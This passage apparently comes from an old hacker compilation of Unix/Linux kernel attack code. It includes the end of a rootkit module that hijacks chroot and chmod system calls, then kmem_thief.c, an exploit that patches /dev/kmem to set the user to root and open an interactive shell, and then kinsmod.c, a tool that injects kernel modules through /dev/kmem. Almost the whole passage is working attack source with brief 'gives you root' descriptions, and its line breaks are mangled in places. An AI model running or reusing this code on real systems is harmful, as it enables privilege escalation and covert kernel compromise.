int init_module(void)
{
    original_setuid = sys_call_table[SYS_setuid];
    original_chroot = sys_call_table[SYS_chroot];
    sys_call_table[SYS_chroot] = hacked_chroot;
    original_chmod = sys_call_table[SYS_chmod];
    sys_call_table[SYS_chmod] = hacked_chmod;
    return(0);
}

void cleanup_module(void)
{
    sys_call_table[SYS_chroot] = original_chroot;
    sys_call_table[SYS_chmod] = original_chmod;
}
```

Kernel Memory Patching

NAME : kmemthief.c

AUTHOR : unknown (I really tried to find out, but I found no comments) I found a similar source by

daemon9 who took it from 'Unix Security: A practical tutorial'

DESCRIPTION : This is a 'standard' kmem patcher, which gives you root (your user process). The system you try to exploit must permit write and read access to /dev/kmem. There are some systems that make that fault but don't rely on that.

LINK : <http://www.rootshell.com>

```

/*
    kmem_thief
    compile as follows:
    cc -O kmem_thief.c -ld -o kmem_thief
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/signal.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/dir.h>
#include <sys/user.h>

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
    int argc;
    char *argv[], *envp[];
{
    int count, fd;
    long where, lseek();
    fd = open( "/dev/kmem", O_RDWR );
    if(fd < 0)
    {
        printf("Could not open /dev/kmem.\n");
        perror(argv);
        exit(10);
    }
    userlocation = address();
    where = lseek(fd, userlocation, 0);
    if(where != userlocation)
    {
        printf("Could not seek to user page.\n");
        perror(argv);
        exit(20);
    }
    count = read(fd, &userpage, sizeof(struct user));

```

```

    if(count != sizeof(struct user))
    {
        printf("Could not read user page.\n");
        perror(argv);
        exit(30);
    }
    printf(" Current uid is %d\n", userpage.u_ruid);
    printf(" Current gid is %d\n", userpage.u_rgid);
    printf(" Current euid is %d\n", userpage.u_uid);
    printf(" Current egid is %d\n", userpage.u_gid);
    userpage.u_ruid = 0;
    userpage.u_rgid = 0;
    userpage.u_uid = 0;
    userpage.u_gid = 0;
    where = lseek(fd, userlocation, 0);
    if(where != userlocation)
    {
        printf("Could not seek to user page.\n");
        perror(argv);
        exit(40);
    }
    write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)
&userpage));
    execl("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
}

# include <filehdr.h>
# include <syms.h>
# include <ldfcn.h>

# define LNULL ( (LDFILE *)0 )

long    address ()
{
    LDFILE    *object;
    SYMENT    symbol;
    long      idx;
    object = ldopen( "/unix", LNULL );
    if( object == LNULL ) {
        fprintf( stderr, "Could not open /unix.\n" );
        exit( 50 );
    }
    for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx+

```

```
+ ) {
        if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
            fprintf( stdout, "user page is at: 0x%8.8x
\n", symbol.n_value );
            ldclose( object );
            return( symbol.n_value );
        }
    }
    fprintf( stderr, "Could not read symbols in /unix.\n");
    exit( 60 );
}
```

Module insertion without native support

NAME : kinsmod.c

AUTHOR : [Silvio Cesare](#)

DESCRIPTION : This is a very nice program which allows us to insert LKMs on system with no native module support.

LINK : found it by a search on <http://www.antisearch.com>

```
/******needed include file*/
```

```
#ifndef KMEM_H
```

```
#define KMEM_H
```

```
#include <linux/module.h>
```

```
#include <unistd.h>
```

```
#include <fcntl.h>
```

```
/*
```

```
    these functions are analogous to standard file routines.
```

```
*/
```

```
#define kopen(mode) open("/dev/kmem", (mode))
```

```
#define kclose(kd) close((kd))
```

```
ssize_t kread(int kd, int pos, void *buf, size_t size);
```

```
ssize_t kwrite(int kd, int pos, void *buf, size_t size);
```

```
/*
```

```
    ksyms initialization and cleanup
```

```
*/
```

```
int ksyms_init(const char *map);
```

```
void ksyms_cleanup(void);

/*
    print the ksym table
*/

void ksyms_print(void);

/*
    return the ksym of name 'name' or NULL if no symbol exists
*/

struct kernel_sym *ksyms_find(const char *name);

#endif

/*****KMEM functions*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <linux/module.h>
#include <linux/unistd.h>
#include "kmem.h"

struct ksymlist {
    struct ksymlist*    next;
    struct kernel_sym   ksym;
};

struct ksymlisthead {
    struct ksymlist*    next;
};

/*
    the hash size must be an integral power of two
*/

#define KSYM_HASH_SIZE 512
```

```
struct ksymlisthead ksymhash[KSYM_HASH_SIZE];

/*
   these functions are analogous to standard file routines.
*/

ssize_t kread(int kd, int pos, void *buf, size_t size)
{
    int retval;

    retval = lseek(kd, pos, SEEK_SET);
    if (retval != pos) return retval;

    return read(kd, buf, size);
}

ssize_t kwrite(int kd, int pos, void *buf, size_t size)
{
    int retval;

    retval = lseek(kd, pos, SEEK_SET);
    if (retval != pos) return retval;

    return write(kd, buf, size);
}

void ksyms_print(void)
{
    int i;

    for (i = 0; i < KSYM_HASH_SIZE; i++) {
        struct ksymlist *head = (struct ksymlist *)&ksymhash
[i];
        struct ksymlist *current = ksymhash[i].next;

        while (current != head) {
            printf(
                "name: %s addr: %lx\n",
                current->ksym.name,
                current->ksym.value
            );
            current = current->next;
        }
    }
}
```

```
        }
    }
}

void ksyms_cleanup(void)
{
    int i;

    for (i = 0; i < KSYM_HASH_SIZE; i++) {
        struct ksymlist *head = (struct ksymlist *)&ksymhash
[i];

        struct ksymlist *current = head->next;

        while (current != head) {
            struct ksymlist *next = current->next;

            free(current);
            current = next;
        }
    }
}

int hash(const char *name)
{
    unsigned long h;
    const char *p;

    for (h = 0, p = name; *p; h += (unsigned char)*p, p++);

    return h & (KSYM_HASH_SIZE - 1);
}

int ksyminsert(struct kernel_sym *ksym)
{
    struct ksymlist *node;
    struct ksymlisthead *head;

    node = (struct ksymlist *)malloc(sizeof(struct ksymlist));
    if (node == NULL) return -1;

    head = &ksymhash[hash(ksym->name)];

    memcpy(&node->ksym, ksym, sizeof(*ksym));
}
```

```

node->next = (struct ksymlist *)head->next;
head->next = node;

```

```

return 0;

```

```

}

```

```

int ksyms_init(const char *map)

```

```

{

```

```

    char s[512];

```

```

    FILE *f;

```

```

    int i;

```

```

    for (i = 0; i < KSYM_HASH_SIZE; i++)

```

```

        ksymhash[i].next = (struct ksymlist *)&ksymhash[i];

```

```

    f = fopen(map, "r");

```

```

    if (f == NULL) return -1;

```

```

    while (fgets(s, sizeof(s), f) != NULL) {

```

```

        struct kernel_sym ksym;

```

```

        char *n, *p;

```

```

        ksym.value = strtoul(s, &n, 16);

```

```

        if (n == s || *n == 0) goto error;

```

```

        p = n;

```

```

        while (*p && isspace(*p)) ++p;

```

```

        if (*p == 0 || p[1] == 0 || p[2] == 0) goto error;

```

```

        p += 2;

```

```

        n = p;

```

```

        while (*p && !isspace(*p)) ++p;

```

```

        if (*p) *p = 0;

```

```

        strncpy(ksym.name, n, 60);

```

```

        if (ksyminsert(&ksym) < 0) goto error;

```

```

    }

```

```

    fclose(f);

```

```

    return 0;

```

```
error:
    fclose(f);
    ksyms_cleanup();
    printf("--> %s\n", s);
    return -1;
}

struct kernel_sym *ksyms_find(const char *name)
{
    struct ksymlist *head = (struct ksymlist *)&ksymhash[hash
(name)];
    struct ksymlist *current = head->next;

    while (current != head) {
        if (!strncmp(current->ksym.name, name, 60))
            return &current->ksym;

        current = current->next;
    }

    return NULL;
}

/*****MAIN PROGRAM : kinsmod.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <elf.h>
#include <getopt.h>
#include "kmem.h"

static char system_map[] = "System.kmap";
static int error = 0;
static int run = 0;
static int force = 0;

struct _module {
    Elf32_Ehdr      ehdr;
    Elf32_Shdr*    shdr;
```

```

    unsigned long    maddr;
    int              maxlen;
    int              len;
    int              strtabidx;
    char**           section;
};

```

```

Elf32_Sym *local_sym_find(
    Elf32_Sym *symtab, int n, char *strtab, const char *name
)
{
    int i;

    for (i = 0; i < n; i++) {
        if (!strcmp(&strtab[symtab[i].st_name], name))
            return &symtab[i];
    }

    return NULL;
}

```

```

Elf32_Sym *localall_sym_find(struct _module *module, const char *name)
{
    char *strtab = module->section[module->strtabidx];
    int i;

    for (i = 0; i < module->ehdr.e_shnum; i++) {
        Elf32_Shdr *shdr = &module->shdr[i];

        if (shdr->sh_type == SHT_SYMTAB) {
            Elf32_Sym *sym;

            sym = local_sym_find(
                (Elf32_Sym *)module->section[i],
                shdr->sh_size/sizeof(Elf32_Sym),
                strtab,
                name
            );
            if (sym != NULL) return sym;
        }
    }

    return NULL;
}

```

```

}

void check_module(struct _module *module, int fd)
{
    Elf32_Ehdr *ehdr = &module->ehdr;

    if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) {
        perror("read");
        exit(1);
    }

    /* ELF checks */

    if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
        fprintf(stderr, "File not ELF\n");
        exit(1);
    }

    if (ehdr->e_type != ET_REL) {
        fprintf(stderr, "ELF type not ET_REL\n");
        exit(1);
    }

    if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
        fprintf(stderr, "ELF machine type not EM_386 or EM_486
\n");
        exit(1);
    }

    if (ehdr->e_version != EV_CURRENT) {
        fprintf(stderr, "ELF version not current\n");
        exit(1);
    }
}

void load_section(char **p, int fd, Elf32_Shdr *shdr)
{
    if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) {
        perror("lseek");
        exit(1);
    }

    *p = (char *)malloc(shdr->sh_size);
}

```

```

    if (*p == NULL) {
        perror("malloc");
        exit(1);
    }

    if (read(fd, *p, shdr->sh_size) != shdr->sh_size) {
        perror("read");
        exit(1);
    }
}

```

```

void load_module(struct _module *module, int fd)
{
    Elf32_Ehdr *ehdr;
    Elf32_Shdr *shdr;
    char **sectionp;
    int slen;
    int i;

    check_module(module, fd);

    ehdr = &module->ehdr;
    slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;

    module->shdr = (Elf32_Shdr *)malloc(slen);
    if (module->shdr == NULL) {
        perror("malloc");
        exit(1);
    }

    module->section = (char **)malloc(sizeof(char **) * ehdr->e_shnum);
    if (module->section == NULL) {
        perror("malloc");
        exit(1);
    }

    if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) {
        perror("lseek");
        exit(1);
    }

    if (read(fd, module->shdr, slen) != slen) {

```

```

        perror("read");
        exit(1);
    }

    for (
>shdr;
        i = 0, sectionp = module->section, shdr = module-
>shdr;
        i < ehdr->e_shnum;
        i++, sectionp++
    ) {
        switch (shdr->sh_type) {
            case SHT_NULL:
            case SHT_NOTE:
            case SHT_NOBITS:
                break;

            case SHT_STRTAB:
                load_section(sectionp, fd, shdr);
                if (i != ehdr->e_shstrndx)
                    module->strtabidx = i;
                break;

            case SHT_SYMTAB:
            case SHT_PROGBITS:
            case SHT_REL:
                load_section(sectionp, fd, shdr);
                break;

            default:
                fprintf(
                    stderr,
                    "No handler for section (type): %i\n",
                    shdr->sh_type
                );
                exit(1);
        }

        ++shdr;
    }
}

```

```

void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr
*shdr)

```

```

{
    Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link];
    Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)];
    Elf32_Addr addr;
    Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info];
    Elf32_Addr dot = targshdr->sh_addr + rel->r_offset;
    Elf32_Addr *loc = (Elf32_Addr *)
        (module->section[shdr->sh_info] + rel->r_offset);
    char *name = &module->section[module->strtabidx][sym->st_name];

    if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) {
        struct kernel_sym *ksym;

        if (force) {
            char novname[60];
            int len;

            len = strlen(name);
            if (len > 10 && !strncmp(name + len - 10,
                "_R", 2)) {
                strncpy(novname, name, len - 10);
                novname[len - 10] = 0;
                ksym = ksyms_find(novname);
            } else
                ksym = ksyms_find(name);
        } else
            ksym = ksyms_find(name);
        if (ksym != NULL) {
            addr = ksym->value;

#ifdef DEBUG
            printf(
                "Extern symbol is (%s:%lx)\n",
                ksym->name,
                (unsigned long)addr);
#endif

            goto next;
        }
    }
}

```

```

        if (
            sym->st_shndx == 0 ||
            sym->st_shndx > module->ehdr.e_shnum
        ) {
            fprintf(
                stderr,
                "ERROR: undefined symbol (%s)\n", name
            );
            ++error;
            return;
        }
    }
}

```

```

    addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr;

```

```

#ifdef DEBUG

```

```

    printf("Symbol (%s:%lx) is local\n", name, (unsigned long)

```

```

    addr);

```

```

#endif

```

```

next:

```

```

    if (targshdr->sh_type == SHT_SYMTAB) return;

```

```

    if (targshdr->sh_type != SHT_PROGBITS) {

```

```

        fprintf(

```

```

            stderr,

```

```

            "Rel not PROGBITS or SYMTAB (type: %i)\n",

```

```

            targshdr->sh_type

```

```

        );

```

```

        exit(1);

```

```

    }

```

```

    switch (ELF32_R_TYPE(rel->r_info)) {

```

```

    case R_386_NONE:

```

```

        break;

```

```

    case R_386_PLT32:

```

```

    case R_386_PC32:

```

```

        *loc -= dot;    /* *loc += addr - dot */

```

```

    case R_386_32:

```

```

        *loc += addr;

```

```

        break;

```

```

default:
    fprintf(
        stderr, "No handler for Relocation (type): %
i",
        ELF32_R_TYPE(rel->r_info)
    );
    exit(1);
}
}

```

```

void relocate_module(struct _module *module)
{
    int i;

    for (i = 0; i < module->ehdr.e_shnum; i++) {
        if (module->shdr[i].sh_type == SHT_REL) {
            int j;
            Elf32_Rel *relp = (Elf32_Rel *)module->section
[i];

            for (
                j = 0;
                j < module->shdr[i].sh_size/sizeof
(Elf32_Rel);
                j++)
            {
                relocate(
                    module,
                    relp,
                    &module->shdr[i]
                );
                ++relp;
            }
        }
    }
}

```

```

void print_symaddr(struct _module *module, const char *symbol)
{
    Elf32_Sym *sym;

    sym = localall_sym_find(module, symbol);
}

```

```
    if (sym == NULL) {
        fprintf(stderr, "No symbol (%s)\n", symbol);
        ++error;
        return;
    }

    printf(
        "%s: 0x%lx\n",
        symbol,
        (unsigned long)module->shdr[sym->st_shndx].sh_addr
            + sym->st_value
    );
}
```

```
void init_module(struct _module *module, unsigned long maddr)
{
    int i;
    unsigned long len = 0;

    module->maddr = maddr;

    for (i = 0; i < module->ehdr.e_shnum; i++) {
        if (module->shdr[i].sh_type != SHT_PROGBITS) continue;

        module->shdr[i].sh_addr = len + maddr;
        len += module->shdr[i].sh_size;
    }

    module->len = len;

    if (module->maxlen > 0 && module->len > module->maxlen) {
        fprintf(
            stderr,
            "Module too large: (modsz: %i)\n",
            module->len
        );
        exit(1);
    }

    printf("Module length: %i\n", module->len);

    relocate_module(module);
}
```

```

    print_symaddr(module, "init_module");
    print_symaddr(module, "cleanup_module");
}

```

```

void do_module(struct _module *module, int fd)
{
    int kd;
    int i;

#ifdef DEBUG
    for (i = 0; i < module->ehdr.e_shnum; i++) {
        if (module->shdr[i].sh_type != SHT_PROGBITS) continue;

        if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) <
0) {
            perror("lseek");
            exit(1);
        }

        if (
            write(
                fd, module->section[i], module->shdr
[i].sh_size
            ) != module->shdr[i].sh_size
        ) {
            perror("write");
            exit(1);
        }
    }
#else

    kd = open("/dev/kmem", O_RDWR);
    if (kd < 0) {
        perror("open");
        exit(1);
    }

    if (lseek(kd, module->maddr, SEEK_SET) < 0) {
        perror("lseek");
        exit(1);
    }

    for (i = 0; i < module->ehdr.e_shnum; i++) {

```

```

        if (module->shdr[i].sh_type != SHT_PROGBITS) continue;

        if (
            write(
                kd, module->section[i], module->shdr
[i].sh_size
            ) != module->shdr[i].sh_size
        ) {
            perror("write");
            exit(1);
        }
    }

    close(kd);
#endif
}

```

```

int main(int argc, char *argv[])
{
    char *map = system_map;
    struct _module module;
    int fd;
    int ch;
    int retval = 0;

    while ((ch = getopt(argc, argv, "m:tf")) != EOF) {
        switch (ch) {
            case 'm':
                map = optarg;
                break;

            case 't':
                ++run;
                break;

            case 'f':
                ++force;
                break;
        }
    }
}

```

```
/*
```

so we can move options in and out without changing the codes

idea

of what argv and argc look like.

*/

```
--optind;
```

```
argv += optind;
```

```
argc -= optind;
```

```
if (argc != 3 && argc != 4) {
```

```
    fprintf(
```

```
        stderr,
```

```
        "usage: k module [-t] [-m map] maddr(hex)
```

```
[maxlen]\n"
```

```
    );
```

```
    exit(1);
```

```
}
```

```
#ifdef DEBUG
```

```
    fd = open(argv[1], O_RDWR);
```

```
#else
```

```
    fd = open(argv[1], O_RDONLY);
```

```
#endif
```

```
if (fd < 0) {
```

```
    perror("open");
```

```
    exit(1);
```

```
}
```

```
if (ksyms_init(map) < 0) {
```

```
    perror("ksyms_init");
```

```
    exit(1);
```

```
}
```

```
module.maxlen = (argc == 4 ? atoi(argv[3]) : -1);
```

```
load_module(&module, fd);
```

```
init_module(&module, strtoul(argv[2], NULL, 16));
```

```
if (run == 0) {
```

```
    if (error == 0) {
```

```
        do_module(&module, fd);
```

```
    } else {
```

```
        fprintf(
```

```
            stderr,
```

```
            "FAILED: (%i) errors. Exiting...\n",
```

error

```
        );  
        ++retval;  
    }  
}
```

```
ksyms_cleanup();
```

```
exit(retval);
```

```
}
```